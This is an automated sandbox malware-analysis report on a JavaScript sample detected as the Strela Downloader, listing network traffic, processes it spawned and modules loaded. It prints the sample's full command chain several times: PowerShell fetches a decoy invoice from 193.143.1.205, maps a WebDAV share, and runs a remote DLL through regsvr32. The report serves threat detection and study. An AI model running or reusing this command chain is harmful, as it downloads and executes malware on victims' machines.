HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000001.00000002.1388670724.000001E446E32000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1386442672.000001E446E15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1477005131.000002CAC2AE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1477005131.000002CAC2B1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/P
Source: net.exe, 00000007.00000002.1477005131.000002CAC2AE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/space4
Source: svchost.exe, 00000009.00000002.2680671588.0000019804AA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F8008506.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1493189729.0000019804870000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7800, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 24108325173196611859.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7868:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ltlzk3iq.bo3.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24108325173196611859.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2276 --field-trial-handle=1528,i,2172520176096589813,9762019331297219805,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2276 --field-trial-handle=1528,i,2172520176096589813,9762019331297219805,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
